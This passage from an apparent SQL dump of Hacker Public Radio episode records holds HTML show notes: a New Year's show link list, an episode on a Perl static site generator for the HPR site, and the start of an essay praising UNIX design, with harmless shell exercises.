class=\"uri\">https://en.wikipedia.org/wiki/Chip_%27n_Dale:_Rescue_Rangers_(film)</a></p>\r\n<p>Dark Wing Duck</p>\r\n<p><a href=\"https://disney.fandom.com/wiki/Darkwing_Duck\" class=\"uri\">https://disney.fandom.com/wiki/Darkwing_Duck</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0101076/\" class=\"uri\">https://www.imdb.com/title/tt0101076/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Darkwing_Duck\" class=\"uri\">https://en.wikipedia.org/wiki/Darkwing_Duck</a></p>\r\n<p><a href=\"https://variety.com/2020/tv/news/darkwing-duck-reboot-disney-plus-1234830283/\" class=\"uri\">https://variety.com/2020/tv/news/darkwing-duck-reboot-disney-plus-1234830283/</a></p>\r\n<p>Tale Spin</p>\r\n<p><a href=\"https://disney.fandom.com/wiki/TaleSpin\" class=\"uri\">https://disney.fandom.com/wiki/TaleSpin</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/TaleSpin\" class=\"uri\">https://en.wikipedia.org/wiki/TaleSpin</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0098924/\" class=\"uri\">https://www.imdb.com/title/tt0098924/</a></p>\r\n<p>The Octonauts</p>\r\n<p><a href=\"https://www.imdb.com/title/tt1710177/\" class=\"uri\">https://www.imdb.com/title/tt1710177/</a></p>\r\n<p><a href=\"https://www.bbc.co.uk/iplayer/episodes/b00xhyjf/octonauts\" class=\"uri\">https://www.bbc.co.uk/iplayer/episodes/b00xhyjf/octonauts</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Octonauts\" class=\"uri\">https://en.wikipedia.org/wiki/Octonauts</a></p>\r\n<p>Aquanauts</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0053481/\" class=\"uri\">https://www.imdb.com/title/tt0053481/</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0257292/\" class=\"uri\">https://www.imdb.com/title/tt0257292/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Aquanauts\" class=\"uri\">https://en.wikipedia.org/wiki/The_Aquanauts</a></p>\r\n<p>Woody Woodpecker</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Woody_Woodpecker_Show\" class=\"uri\">https://en.wikipedia.org/wiki/The_Woody_Woodpecker_Show</a></p>\r\n<p><a href=\"https://unitedparamountnetworkupn.fandom.com/wiki/The_Woody_Woodpecker_Show\" class=\"uri\">https://unitedparamountnetworkupn.fandom.com/wiki/The_Woody_Woodpecker_Show</a></p>\r\n<p><a href=\"https://youtu.be/Q4uIdPOpen8\" class=\"uri\">https://youtu.be/Q4uIdPOpen8</a></p>\r\n<p>Donald Duck Gets Discharged from the Military</p>\r\n<p><a href=\"https://www.portablepress.com/blog/2017/05/donald-duck-trivia/\" class=\"uri\">https://www.portablepress.com/blog/2017/05/donald-duck-trivia/</a></p>\r\n<p>GizmoDuck</p>\r\n<p><a href=\"https://scrooge-mcduck.fandom.com/wiki/Gizmoduck\" class=\"uri\">https://scrooge-mcduck.fandom.com/wiki/Gizmoduck</a></p>\r\n<p>Donald Duck has PTSD</p>\r\n<p><a href=\"https://cartoonoveranalyzations.wordpress.com/2009/02/20/diagnosis-donald-duck-suffers-from-ptsd/\" class=\"uri\">https://cartoonoveranalyzations.wordpress.com/2009/02/20/diagnosis-donald-duck-suffers-from-ptsd/</a></p>\r\n<p><a href=\"https://youtu.be/ehy7Mq7SP80\" class=\"uri\">https://youtu.be/ehy7Mq7SP80</a></p>\r\n<p>Voltron</p>\r\n<p><a href=\"https://www.imdb.com/title/tt5580664/\" class=\"uri\">https://www.imdb.com/title/tt5580664/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Voltron\" class=\"uri\">https://en.wikipedia.org/wiki/Voltron</a></p>\r\n<p><a href=\"https://voltron.com/\" class=\"uri\">https://voltron.com/</a></p>\r\n<p>Rin Tin Tin / Adventures of Tin Tin</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Rin_Tin_Tin\" class=\"uri\">https://en.wikipedia.org/wiki/Rin_Tin_Tin</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Adventures_of_Rin_Tin_Tin\" class=\"uri\">https://en.wikipedia.org/wiki/The_Adventures_of_Rin_Tin_Tin</a></p>\r\n<p><a href=\"https://www.imdb.com/name/nm0863833/\" class=\"uri\">https://www.imdb.com/name/nm0863833/</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0046576/\" class=\"uri\">https://www.imdb.com/title/tt0046576/</a></p>\r\n<p><a href=\"https://americacomesalive.com/the-story-of-rin-tin-tin-2/\" class=\"uri\">https://americacomesalive.com/the-story-of-rin-tin-tin-2/</a></p>\r\n<p>Heinz 57</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Heinz_57\" class=\"uri\">https://en.wikipedia.org/wiki/Heinz_57</a></p>\r\n<p>Winnie The Pooh</p>\r\n<p><a href=\"https://disney.fandom.com/wiki/Winnie_the_Pooh\" class=\"uri\">https://disney.fandom.com/wiki/Winnie_the_Pooh</a></p>\r\n<p><a href=\"https://www.smithsonianmag.com/arts-culture/winnie-pooh-became-household-bear-180967090/\" class=\"uri\">https://www.smithsonianmag.com/arts-culture/winnie-pooh-became-household-bear-180967090/</a></p>\r\n<p><a href=\"https://www.yahoo.com/lifestyle/upcoming-film-winnie-pooh-blood-140045130.html\" class=\"uri\">https://www.yahoo.com/lifestyle/upcoming-film-winnie-pooh-blood-140045130.html</a></p>\r\n<p>Furries</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Furry_fandom\" class=\"uri\">https://en.wikipedia.org/wiki/Furry_fandom</a></p>\r\n<p>Teen Wolf</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0090142/\" class=\"uri\">https://www.imdb.com/title/tt0090142/</a></p>\r\n<p>The Goonies</p>\r\n<p><a href=\"https://goonies.fandom.com/wiki/The_Goonies_(film)\" class=\"uri\">https://goonies.fandom.com/wiki/The_Goonies_(film)</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0089218/\" class=\"uri\">https://www.imdb.com/title/tt0089218/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Goonies\" class=\"uri\">https://en.wikipedia.org/wiki/The_Goonies</a></p>\r\n<p>Magic The Gathering - Innistrad</p>\r\n<p><a href=\"https://mtg.fandom.com/wiki/Innistrad_(plane)\" class=\"uri\">https://mtg.fandom.com/wiki/Innistrad_(plane)</a></p>\r\n<p>Galaxy S6 Phone</p>\r\n<p><a href=\"https://www.gsmarena.com/samsung_galaxy_s6-6849.php\" class=\"uri\">https://www.gsmarena.com/samsung_galaxy_s6-6849.php</a></p>\r\n<p>Lineage OS</p>\r\n<p><a href=\"https://lineageos.org/\" class=\"uri\">https://lineageos.org/</a></p>\r\n<p>Ubports</p>\r\n<p><a href=\"https://ubports.com/\" class=\"uri\">https://ubports.com/</a></p>\r\n<p>Tony is enjoying his Juno Linux PC - Brutus 5000</p>\r\n<p><a href=\"https://junocomputers.com/product/brutus-5000-v2/\" class=\"uri\">https://junocomputers.com/product/brutus-5000-v2/</a></p>\r\n<p>Boxes (Linux Virtual Machine application)</p>\r\n<p><a href=\"https://help.gnome.org/users/gnome-boxes/stable/\" class=\"uri\">https://help.gnome.org/users/gnome-boxes/stable/</a></p>\r\n<p>Haskell</p>\r\n<p><a href=\"https://www.haskell.org/\" class=\"uri\">https://www.haskell.org/</a></p>\r\n<p>Rooibos Tea</p>\r\n<p><a href=\"https://www.healthline.com/nutrition/rooibos-tea-benefits\" class=\"uri\">https://www.healthline.com/nutrition/rooibos-tea-benefits</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Rooibos\" class=\"uri\">https://en.wikipedia.org/wiki/Rooibos</a></p>\r\n<p>IPFS</p>\r\n<p><a href=\"https://ipfs.io/\" class=\"uri\">https://ipfs.io/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/InterPlanetary_File_System\" class=\"uri\">https://en.wikipedia.org/wiki/InterPlanetary_File_System</a></p>\r\n<p><a href=\"https://medium.com/@ConsenSys/an-introduction-to-ipfs-9bba4860abd0\" class=\"uri\">https://medium.com/@ConsenSys/an-introduction-to-ipfs-9bba4860abd0</a></p>\r\n<p>Arc Wedling</p>\r\n<p><a href=\"https://www.twi-global.com/technical-knowledge/faqs/what-is-arc-welding\" class=\"uri\">https://www.twi-global.com/technical-knowledge/faqs/what-is-arc-welding</a></p>\r\n<p><a href=\"https://weldguru.com/what-is-arc-welding/\" class=\"uri\">https://weldguru.com/what-is-arc-welding/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Arc_welding\" class=\"uri\">https://en.wikipedia.org/wiki/Arc_welding</a></p>\r\n<p>6011 Stick Welding Rods</p>\r\n<p><a href=\"https://weldingtroop.com/what-is-6011-welding-rod-used-for/\" class=\"uri\">https://weldingtroop.com/what-is-6011-welding-rod-used-for/</a></p>\r\n<p>Zinc</p>\r\n<p><a href=\"https://www.rsc.org/periodic-table/element/30/zinc\" class=\"uri\">https://www.rsc.org/periodic-table/element/30/zinc</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Zinc\" class=\"uri\">https://en.wikipedia.org/wiki/Zinc</a></p>\r\n<p>Zamak</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Zamak\" class=\"uri\">https://en.wikipedia.org/wiki/Zamak</a></p>\r\n<p><a href=\"https://decoprod.com/design-support/zamak/\" class=\"uri\">https://decoprod.com/design-support/zamak/</a></p>\r\n<p>Biodiesel</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Biodiesel\" class=\"uri\">https://en.wikipedia.org/wiki/Biodiesel</a></p>\r\n<p><a href=\"https://www.biodiesel.org/\" class=\"uri\">https://www.biodiesel.org/</a></p>\r\n<p>Boats with Underwater Wing (Hydrofoils?)</p>\r\n<p><a href=\"http://www.hydrofoil.org/history.html\" class=\"uri\">http://www.hydrofoil.org/history.html</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Hydrofoil\" class=\"uri\">https://en.wikipedia.org/wiki/Hydrofoil</a></p>\r\n<p><a href=\"https://web.mit.edu/2.972/www/reports/hydrofoil/hydrofoil.html\" class=\"uri\">https://web.mit.edu/2.972/www/reports/hydrofoil/hydrofoil.html</a></p>\r\n<p>Cardano</p>\r\n<p><a href=\"https://cardano.org/\" class=\"uri\">https://cardano.org/</a></p>\r\n<p>Plutus Tutorial</p>\r\n<p><a href=\"https://plutus.readthedocs.io/en/latest/tutorials/\" class=\"uri\">https://plutus.readthedocs.io/en/latest/tutorials/</a></p>\r\n<p>Racket</p>\r\n<p><a href=\"https://racket-lang.org/\" class=\"uri\">https://racket-lang.org/</a></p>\r\n<p>Plutus Pioneer Program</p>\r\n<p><a href=\"https://testnets.cardano.org/en/plutus-pioneer-program/\" class=\"uri\">https://testnets.cardano.org/en/plutus-pioneer-program/</a></p>\r\n<p>NixOS</p>\r\n<p><a href=\"https://nixos.org/\" class=\"uri\">https://nixos.org/</a></p>\r\n<p><a href=\"https://distrowatch.com/table.php?distribution=nixos\" class=\"uri\">https://distrowatch.com/table.php?distribution=nixos</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/NixOS\" class=\"uri\">https://en.wikipedia.org/wiki/NixOS</a></p>\r\n<p>Scheme</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Scheme_(programming_language)\" class=\"uri\">https://en.wikipedia.org/wiki/Scheme_(programming_language)</a></p>\r\n<p>Lisp</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Lisp_(programming_language)\" class=\"uri\">https://en.wikipedia.org/wiki/Lisp_(programming_language)</a></p>\r\n<p><a href=\"https://www.tutorialspoint.com/lisp/index.htm\" class=\"uri\">https://www.tutorialspoint.com/lisp/index.htm</a></p>\r\n<p>Functional Programming</p>\r\n<p><a href=\"https://www.geeksforgeeks.org/functional-programming-paradigm/\" class=\"uri\">https://www.geeksforgeeks.org/functional-programming-paradigm/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Functional_programming\" class=\"uri\">https://en.wikipedia.org/wiki/Functional_programming</a></p>\r\n<p>Clojure</p>\r\n<p><a href=\"https://clojure.org/\" class=\"uri\">https://clojure.org/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Clojure\" class=\"uri\">https://en.wikipedia.org/wiki/Clojure</a></p>\r\n<p><a href=\"https://clojuredocs.org/\" class=\"uri\">https://clojuredocs.org/</a></p>\r\n<p>Solaris</p>\r\n<p><a href=\"https://www.oracle.com/solaris/solaris11/\" class=\"uri\">https://www.oracle.com/solaris/solaris11/</a></p>\r\n<p>VIM</p>\r\n<p><a href=\"https://www.vim.org/\" class=\"uri\">https://www.vim.org/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Vim_(text_editor)\" class=\"uri\">https://en.wikipedia.org/wiki/Vim_(text_editor)</a></p>\r\n<p>CentOS</p>\r\n<p><a href=\"https://www.centos.org/\" class=\"uri\">https://www.centos.org/</a></p>\r\n<p><a href=\"https://distrowatch.com/table.php?distribution=centos\" class=\"uri\">https://distrowatch.com/table.php?distribution=centos</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/CentOS\" class=\"uri\">https://en.wikipedia.org/wiki/CentOS</a></p>\r\n<h4 id=\"t090000z\">2022-01-01T09:00:00Z</h4>\r\n<p>AKST Alaska/USA and regions of French Polynesia Anchorage, Fairbanks, Juneau, Unalaska</p>\r\n<p>HST Small region of USA and 2 more Honolulu, Rarotonga, Adak, Papeete</p>\r\n<p><a href=\"https://www.worldtimezone.com/newyear.html\" class=\"uri\">https://www.worldtimezone.com/newyear.html</a></p>\r\n<p>Solstice</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Solstice\" class=\"uri\">https://en.wikipedia.org/wiki/Solstice</a></p>\r\n<p><a href=\"https://www.irishamericanmom.com/newgrange-irelands-megalithic-wonder-of-the-winter-solstice/\" class=\"uri\">https://www.irishamericanmom.com/newgrange-irelands-megalithic-wonder-of-the-winter-solstice/</a></p>\r\n<p><a href=\"https://www.newgrange.com/\" class=\"uri\">https://www.newgrange.com/</a></p>\r\n<p>TIVO</p>\r\n<p><a href=\"https://www.tivo.com/custom/product-bolt\" class=\"uri\">https://www.tivo.com/custom/product-bolt</a></p>\r\n<p>Yagi Antenna</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Yagi%E2%80%93Uda_antenna\" class=\"uri\">https://en.wikipedia.org/wiki/Yagi%E2%80%93Uda_antenna</a></p>\r\n<p><a href=\"https://www.eeweb.com/lets-build-the-yagi-antenna/\" class=\"uri\">https://www.eeweb.com/lets-build-the-yagi-antenna/</a></p>\r\n',159,121,1,'CC-BY-SA','HPR, New Years, Talking',0,0,1),
(3687,'2022-09-20','2021-2022 New Years Show Part 6',11137,'The HPR community comes together to chat','<h2 id=\"hacker-public-radio-new-years-eve-show-2021---2022\">Hacker Public Radio New Years Eve Show 2021 - 2022</h2>\n<h3 id=\"part-6\">Part 6</h3>\n<p><a href=\"https://rsgb.org/main/clubs-training/for-students/foundation/\" class=\"uri\">https://rsgb.org/main/clubs-training/for-students/foundation/</a></p>\n<p><a href=\"https://logseq.com/\" class=\"uri\">https://logseq.com/</a></p>\n<p><strong>The End!</strong></p>\n<ul>\n<li>Thanks To:\n<ul>\n<li>Mumble Server: Delwin</li>\n<li>HPR Site/VPS: Joshua Knapp - AnHonestHost.com</li>\n<li>Streams: Honkeymagoo</li>\n<li>EtherPad: HonkeyMagoo</li>\n<li>Shownotes: HPLovecraft</li>\n</ul></li>\n</ul>\n<h3 id=\"aftershow\">Aftershow</h3>\n<p>Swedish new words of 2021: <a href=\"https://www.svt.se/kultur/experten-de-orden-kommer-jag-sakna-mest\" class=\"uri\">https://www.svt.se/kultur/experten-de-orden-kommer-jag-sakna-mest</a> (Swedish)</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Endometriosis\" class=\"uri\">https://en.wikipedia.org/wiki/Endometriosis</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Vulvar_vestibulitis\" class=\"uri\">https://en.wikipedia.org/wiki/Vulvar_vestibulitis</a></p>\n',159,121,1,'CC-BY-SA','HPR, New Years, Talking',0,0,1),
(3659,'2022-08-11','Developing an HPR static site generator',673,'Rho`n describes his approach to developing a static site generator for HPR','<h1 id=\"synopsis\">Synopsis</h1>\n<p>In this episode, I describe my ongoing attempt to develop a static site generator for the HPR website. As a search through the community mailing list will reveal, the idea for moving the HPR website has been rattling around for a few years. I have been interested in helping out with the website for a while, so when the latest round of discussion occurred I decided to give it a whirl.</p>\n<p>While I have read about various static site generators over the years, the only one I had any experience with was Template-Toolkit (TT2) when helping Ken Fallon and Dave Morriss develop the Free Culture Podcasts webpage. It is the tool Dave uses for various projects. Since they are the janitors for HPR, I figured a website generator based on the TT2 would be something relatively painless enough for them to use, and update when needed.</p>\n<p>The code for this generator is hosted at <a href=\"https://repo.anhonesthost.net/rho_n/hpr_generator\">https://repo.anhonesthost.net/rho_n/hpr_generator</a>. The generator is written in Perl and generates the pages using TT2 templates.</p>\n<p>Anyone interested in helping out is encouraged to create an account on repo.anhonesthost.net and start hacking away.</p>\n<h1 id=\"references\">References</h1>\n<ul>\n<li><p><a href=\"https://repo.anhonesthost.net/rho_n/hpr_generator\">site-generator source code</a>; <a href=\"https://repo.anhonesthost.net/rho_n/hpr_generator\">https://repo.anhonesthost.net/rho_n/hpr_generator</a></p></li>\n<li><p><a href=\"http://template-toolkit.org/\">Template Tookit website</a>; <a href=\"http://template-toolkit.org/\">http://template-toolkit.org/</a></p></li>\n<li><p><a href=\"https://www.cpan.org/\">Comprehensive Perl Archive Network (CPAN) website</a>; <a href=\"https://www.cpan.org/\">https://www.cpan.org/</a></p></li>\n<li><p><a href=\"https://repo.anhonesthost.net/explore/repos\">HPR repositories at anHonestHost.net</a>; <a href=\"https://repo.anhonesthost.net/explore/repos\">https://repo.anhonesthost.net/explore/repos</a></p></li>\n<li><p><a href=\"https://hpr.horning.us/\">Rho`n\'s public test HPR website</a>; <a href=\"https://hpr.horning.us\">https://hpr.horning.us</a></p></li>\n<li><p><a href=\"https://freeculturepodcasts.org/\">Free Culture Podcasts</a>; <a href=\"https://freeculturepodcasts.org/\">https://freeculturepodcasts.org/</a></p></li>\n<li><p><a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-April/014388.html\">HPR Mailing list: Static Site Generators - NOT a flat file CMS</a>; message thread; <a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-April/014388.html\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-April/014388.html</a></p></li>\n<li><p><a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-June/015296.html\">HPR Mailing list: Source Code for the HPR website.</a>; message thread; <a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-June/015296.html\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-June/015296.html</a></p></li>\n<li><p><a href=\"https://github.com/dumblob/mysql2sqlite\">MySQL to SQLite conversion script</a>; <a href=\"https://github.com/dumblob/mysql2sqlite\">https://github.com/dumblob/mysql2sqlite</a></p></li>\n</ul>\n',293,0,0,'CC-BY-SA','HPR, static site generator, Perl, SQLite, Template Toolkit',0,0,1),
(3665,'2022-08-19','UNIX Is Sublime',3586,'I talk about all of the reasons I love UNIX','<h1 id=\"unix-is-sublime\">UNIX is sublime</h1>\n<h6 id=\"or-how-to-use-a-computer-without-hating-yourself-for-it-in-the-morning\">Or, \"how to use a computer without hating yourself for it in the morning\"</h6>\n<h6 id=\"or-unix-is-basically-a-simple-operating-system---\">Or, \"Unix is basically a simple operating system . . .\"</h6>\n<h6 id=\"or-my-weariness-and-disdain-for-computers-grow-with-each-additional-unit-of-knowledge\">Or, \"My weariness and disdain for computers grow with each additional unit of knowledge\"</h6>\n<h6 id=\"or-worse-is-better\">Or, \"Worse is better\"</h6>\n<h1 id=\"origins\">Origins</h1>\n<p>UNIX is not Multics</p>\n<p>Multics = Multiplexed Information and Computer Service</p>\n<p>UNIX = Uniplexed Information and Computing Service</p>\n<p>The name \'UNIX\' is a pun on the name \'Multics\'. Multics was entirely too large and complicated to be useful so the boys at Bell Labs cooked up something smaller, less complicated, and easier to use.</p>\n<hr />\n<h3 id=\"ancient-emulation-interlude\">Ancient emulation interlude</h3>\n<p><a href=\"https://www.multicians.org/sim-inst.html\">How to run Multics in 2022.</a></p>\n<p><a href=\"https://gunkies.org/wiki/Running_Unix_v5_in_SIMH\">This wiki helped me emulate UNIXv5.</a></p>\n<p><a href=\"https://gunkies.org/wiki/Installing_v7_on_SIMH\">And this one helped me emulate UNIXv7.</a></p>\n<p><a href=\"https://livingcomputers.org/Computer-Collection/Online-Systems.aspx\">These guys host ancient systems accessible via guest accounts over ssh.</a></p>\n<blockquote>\n<p>\"Cool, but useless.\"</p>\n</blockquote>\n<hr />\n<p>I know almost nothing about Multics and I\'m not sure if it\'s even worth learning. This is about UNIX, not Multics. Maybe I\'ll come back to it.</p>\n<h1 id=\"philosophy-implementations-ducks\">Philosophy, implementations, ducks</h1>\n<p>When I think of \"UNIX\", I do not think of the trademark. Instead, I think of the <a href=\"https://en.wikipedia.org/wiki/Unix_philosophy\">Unix philosophy.</a> and the general design principles, interface, and behavior of a UNIX system.</p>\n<p>A better way of thinking about \"UNIX\" is as something \"POSIX-like\" rather than \"AT&amp;T\'s commercial UNIX\". Example: although Linux and GNU are overly complicated, they pass the duck test for being a UNIX. Pedigree or not, you know a nix when you see one.</p>\n<p>Also, when I say \"UNIX\", I mean \"Free UNIX\". I have no interest in proprietary implementations that only exist for the purpose of restricting users and disempowering/discouraging sysadmins from becoming self-reliant.</p>\n<p>So what is the philosophy?</p>\n<ul>\n<li>Do one thing and do it well</li>\n<li>Design programs that work together using text as the common interface</li>\n<li>KISS: Keep it simple, stupid</li>\n<li>Test early, test often</li>\n</ul>\n<p>And additionally:</p>\n<ul>\n<li>everything is a file or a process</li>\n</ul>\n<h1 id=\"design\">Design</h1>\n<h2 id=\"10000-ft-view\">10,000 Ft View</h2>\n<p>UNIX is a multiuser time sharing networked operating system, running as an always online service. A UNIX system is a single mainframe computer running an operating system designed for multiple users to access concurrently over the network, equally (depending on implementation) sharing resources amongst the active users.</p>\n<p>In a traditional network setup, there is one mainframe UNIX machine with multiple dumb terminals connected to it over the network. None of the users touch the mainframe physically. Instead, they interact with it exclusively through their own dumb terms. These dumb terminals have minimal or no computing power of their own because all of the actual computation takes place on the mainframe. Built in networking is a given.</p>\n<p>As for the actual software running on the mainframe, it\'s quite simple to visualize. A Unix system is a flexible but organized stack of concepts, each depending on the concept below, all working together for the sole purpose of enabling the end user to play video games and watch videos online.</p>\n<pre><code>       / user applications \\\n      /       shells        \\\n     /        daemons        \\\n    /       file systems      \\\n   /        kmods/drivers      \\\n  /           syscalls          \\\n /             kernel            \\\n/             hardware            \\\n</code></pre>\n<p>In order to fully explain why UNIX is sublime, I will start from the bottom and work my way upward. Before I discuss the shell, I will explain the multiuser aspects of the system. Then, after a long arduous journey of verbosity, explain how to actually use the thing.</p>\n<h2 id=\"kernel\">Kernel</h2>\n<p>The kernel is something the user rarely interacts with. It abstracts all the hard parts away from the user. No more poking random memory addresses to load a program from tape.</p>\n<h3 id=\"multitasking\">Multitasking</h3>\n<p>In order to support multiple users, resource sharing was implemented. When a user\'s process requests CPU time, it\'s put into a rotational queue along with the other requests for CPU time. Round robin style concurrency is one of the easiest to implement but most modern systems use a weighted model that prioritizes processes owned by specific users. Memory and disk space are typically assigned hard limits to prevent system crashes. \"Ask your sysadmin if you need more resources.\"</p>\n<h3 id=\"virtual-memory\">Virtual Memory</h3>\n<p>Abstracting memory management from users is almost necessary in a multitasking system. The kernel must be the arbiter of all. The most interesting thing about virtual memory is that it doesn\'t actually need to be a RAM stick, but can be a swap partition on a disk or even a remote cloud provider if you\'ve actually lost your mind. This type of flexibility improves system stability. Instead of a kernel panic when memory runs out, the kernel can de-prioritize nonessential or idle processes by sending them to swap space.</p>\n<h3 id=\"paged-memory-logical-memory\">Paged Memory (logical memory)</h3>\n<p>No more fragmented memories! The kernel maintains a page table that maps logical locations to physical locations. Instead one continuous chunk of memory, the kernel divides memory into small sections called \"pages\". When allocating memory, the kernel might not give a process continuous pages. The advantage of a paged memory scheme further enables multiuser computing. Example: When you have a large program like a web browser open, the pages that contains the unfocused tabs can be swapped out to disk without stalling the entire browser.</p>\n<h3 id=\"programming-interface-pt-0-syscalls-kmods-drivers\">Programming Interface pt. 0 (syscalls, kmods, drivers)</h3>\n<p>When a process requests a resource, it sends a syscall to the kernel. The kernel then responds to the system call. This allows for privilege separation. Does your web browser need direct access to all memory? What about all files? Do we even want to write assembly every time we want to access a file? Syscalls are dual purpose: abstraction and security.</p>\n<p>Kernel modules are dynamic \"extensions\" that give the kernel new features (typically hardware support). The ability to dynamically load/unload modules as hardware changes increases uptime because it means a new kernel doesn\'t need to be compiled, installed, and booted into every time we plug in a different peripheral.</p>\n<h2 id=\"filesystem\">Filesystem</h2>\n<h3 id=\"hierarchical-structure\">Hierarchical structure</h3>\n<p>A UNIX filesystem is hierarchical. Each directory contains files or other directories, each with a specific purpose. This type of organization makes it very easy to navigate and manage a system. Each child directory inherits ownership and permissions unless otherwise specified (see Access Control).</p>\n<p>In order to visualize this, I imagine a tree-like structure descending from the root directory, <code>/</code>. The <code>tree(1)</code> program shows this type of hierarchy.</p>\n<h3 id=\"virtual-filesystems-logical-filesystem\">Virtual Filesystems (logical filesystem)</h3>\n<p>The idea behind virtual filesystems is, again, abstraction. Using the concept of a virtual file system, multiple disks can be presented to the user and programmer as a single unified filesystem. This means mounted local disks, NFS shares, and even the contents of a CDROM are presented as if the files contained therein are \"just on the big hard drive\".</p>\n<p>Additionally, using bind mounts, a directory can be mounted onto another directory as if it were just another filesystem.</p>\n<p>The final interesting thing about virtual filesystems is the concept of a ramdisk: mounting a section of memory so that it can be used as if it was an ordinary directory. <strong>&lt;--Shoot foot here.</strong></p>\n<h3 id=\"everything-is-a-file\">Everything is a file</h3>\n<p>Well, almost everything is <em>presented</em> as if it were a file. This greatly simplifies programming.</p>\n<p>Prime example: <code>/dev/urandom</code> is a random entropy generator presented as a file, making it very simple for a programmer to implement seeded RNG in a program.</p>\n<p>Another example: The kernel translates mouse input into a data stream that can be opened as a file. The programmer only needs to read from <code>/dev/mouse0</code> instead of writing hundreds of mouse drivers for a clicky GUI.</p>\n<p>Exercise 1: Try running this command then wiggling your mouse:</p>\n<pre class=\"sh\"><code># Linux\n$ sudo cat /dev/input/mouse0\n\n# FreeBSD\n$ sudo cat /dev/sysmouse\n</code></pre>\n<p>Yet another example: the TTY is just a file. You can even print it to a text file using <code>setterm(1)</code> on Linux.</p>\n<p>Exercise 2:</p>\n<pre class=\"sh\"><code>[user@fedora ~]$ sudo setterm --dump 3\n[user@fedora ~]$ cat screen.dump\n\nFedora Linux 36 (Workstation Edition)\nKernel 5.18.5-200.fc36.x86_64 on an x86_64 (tty3)\n\nfedora login: root\nPassword:\nLast login: Sat Jul 30 14:34:20 on tty3\n[root@fedora ~]# /opt/pfetch/pfetch\n        ,&#39;&#39;&#39;&#39;&#39;.   root@fedora\n       |   ,.  |  os     Fedora Linux 36 (Workstation Edition)\n       |  |  &#39;_&#39;  host   XXXXXXXXXX ThinkPad T490\n  ,....|  |..     kernel 5.18.5-200.fc36.x86_64\n.&#39;  ,_;|   ..&#39;    uptime 20d 22h 40m\n|  |   |  |       pkgs   3910\n|  &#39;,_,&#39;  |       memory 6522M / 15521M\n &#39;.     ,&#39;\n   &#39;&#39;&#39;&#39;&#39;\n\n[root@fedora ~]#\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n[user@fedora ~]$\n</code></pre>\n<h3 id=\"links\">Links</h3>\n<p>Yet another way of \"mounting\" a file or directory to another file or directory is linking. There are two types of links: hard links and symbolic links.</p>\n<p>On UNIX, files are indexed by inodes (index nodes). Using links, we can make \"shortcuts\" to files.</p>\n<p>Hard linking adds a \"new index\" to a file. They share an inode. If the original file is removed, the file persists in storage because the secondary file created by a hard link still exists. Think \"different name, same file\"</p>\n<p>Symlinks are like pointers. A symlink points to the original file instead of the inode. If you remove the original file, the symlink breaks because it points to a file that points to an inode rather than simply pointing to an inode.</p>\n<p>Using links, we can make files more convenient to access as if we are \"copying\" files without actually copying files.</p>\n<h3 id=\"filename-extensions\">Filename extensions</h3>\n<p>On a UNIX system, file extensions are arbitrary. UNIX determines file type by reading the file headers. The file tells you exactly what type of file it is (just read it). The entire system does not break when a file extension doesn\'t match the expected contents of the file.</p>\n<p>Extensions only matter when you wilfully associate with the microsoft users leaving issues on your software repos. \"Not my OS, not my issue, it\'s open source so fork it if you don\'t like it\"</p>\n<h2 id=\"multiuser-timesharing\">Multiuser (timesharing)</h2>\n<p>See also: Multitasking.</p>\n<p>Exercise 3: attempt to use Windows like a multiuser operating system and get back to me when you have realized that any and all claims made by microsoft about how their \"multi user enterprise system\" is in any way capable of competing with a genuine multi-user UNIX system are false advertising.</p>\n<h3 id=\"users-groups\">Users, Groups</h3>\n<p>A multiuser system needs a way to manage users and categorize them for access control purposes. Every user has a single user account and belongs to 0 or more groups. Sorting users into groups at the time of account creation makes is significantly easier than granting/revoking permissions user-by-user. Additionally, using something like <code>rctl(8)</code> on FreeBSD allows a systems administrator to allocate resources to specific users, groups, or login classes (like groups).</p>\n<h3 id=\"daemons-services\">Daemons (services)</h3>\n<p>On a UNIX system, every process is owned by a user. In the case of a service, 